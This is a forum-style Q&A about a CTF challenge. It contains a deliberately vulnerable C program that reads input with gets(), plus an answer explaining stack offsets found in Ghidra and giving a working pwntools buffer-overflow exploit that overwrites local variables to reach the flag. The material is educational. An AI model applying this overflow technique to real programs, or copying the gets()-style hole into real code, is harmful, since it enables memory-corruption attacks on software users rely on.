ctf

How to buffer overflow to exploit and get the flag?


This is my CTF challenge

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int setup() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
}

int win() {
    char* argv[3] = {"/bin/cat", "flag.txt", NULL};
    printf("Good job!\n");
    execve("/bin/cat", argv, NULL);
}

int vuln() {
    char secret[0x10] = "[REDACTED]";
    char mine1[0x10] = "[REDACTED]";
    char mine2[0x10] = "[REDACTED]";
    char mine3[0x10] = "[REDACTED]";
    char buf[0x20] = "";

    printf("Welcome to the chamber of secrets, how would you pass the trial without knowing any secrets?\n");
    printf("Input secret:\n");
    gets(buf); // i heard i should be reading in more characters than the size of my buffer... so let's just use gets()!
    
    // make sure no mines have been set off!
    if (!strncmp(mine1, "O6FtZhpU6C6BXx16", 0x10) && !strncmp(mine2, "cZiwk5rfGFgPZYP4", 0x10) && !strncmp(mine3, "i165DnHauCmLqRHN", 0x10)) {
        printf("Mines are safe!\n");
        if (!strncmp(buf, secret, 0x10)) {
            printf("What!? Impossible!! How did you guess it!?\n");
            printf("Fine, here's the flag...\n");
            win();
            exit(0);
        } else {
            printf("Haha! You will never guess my secret!\n");
        }
    } else {
        printf("You stepped on a mine!\n");
    }
}

int main() {
    setup();
    vuln();
}

So, I have basically try to run it on gdb and find out the offset which is 104 which result in a segmentation fault. But now the issues is how do i prevent on triggering the mine, I have try several way to overwrite it by passing 16 "A" and follow by the reverse order of each mine but it fails.


Solution

  • Your approach is correct, you have to overflow the buffer to overwrite the values of mine1, mine2 and mine3 with the required values to pass the first condition and then overwrite the variable secret to match it to the data you input, after clearing both the conditions, you will get the flag.

    I compiled the binary like this

    gcc main.c -o test
    

    The parameters are pushed onto the stack in reverse order so first I found the offset to the first mine variable in reverse order which is mine3, I found the offset in ghidra to mine3 from our user input

            undefined vuln()
    AL:1           <RETURN>
    Stack[-0x10]:8 local_10 
    Stack[-0x18]:8 local_18 
                            
    Stack[-0x20]:8 local_20 
    Stack[-0x28]:8 mine1    
                            
    Stack[-0x30]:8 local_30 
    Stack[-0x38]:8 mine2    
                            
    Stack[-0x40]:8 local_40 
    Stack[-0x48]:8 mine3    
                            
    Stack[-0x50]:8 local_50 
    Stack[-0x58]:8 local_58 
    Stack[-0x60]:8 local_60 
    Stack[-0x68]:8 user_inp 
    
    

    User input begins at 0x68 bytes from the return address and the difference between user input and mine3 is 0x68 - 0x48 = 0x20(32 bytes in decimal)

    The total padding between user input and the return address as you said is 0x68 or 104 bytes in decimal. We can see that each mine2 is just after mine3 and mine1 is just after mine2 so no need for offset calculation there. And we need to fill out the remaining padding between mine1 and the return address. Also you need to make sure that whatever you use as padding between the start of user input ad 0x68 bytes from the return address till mine3 and after mine1 till you reach the return address is the same data as that get stores in the variable secret. We do this because in the process of padding we are also overwriting the value of the variable secret and our user input should match the secret.

    Here is the exploit script, works perfectly

    #!/usr/bin/env python3
    
    from pwn import *
    
    exe = "./test"
    elf = context.binary = ELF(exe, checksec=False)
    context.log_level = "debug"
    
    # host,port = '',
    
    p = process(exe)
    # p = remote(host,port)
    
    offset1 = 32  # offset to reach first mine
    param3 = b"O6FtZhpU6C6BXx16"
    param2 = b"cZiwk5rfGFgPZYP4"
    param1 = b"i165DnHauCmLqRHN"
    total_padding = 104
    # secret = b"[REDACTED]"
    
    
    payload = flat(
        b"a" * offset1,
        param1,
        param2,
        param3,
        (total_padding - len(param1) - len(param2) - len(param3) - offset1) * b"a",
    )
    
    p.sendlineafter(b":", payload)
    p.interactive()
    

    I found these offsets in ghidra although you can use gdb as well.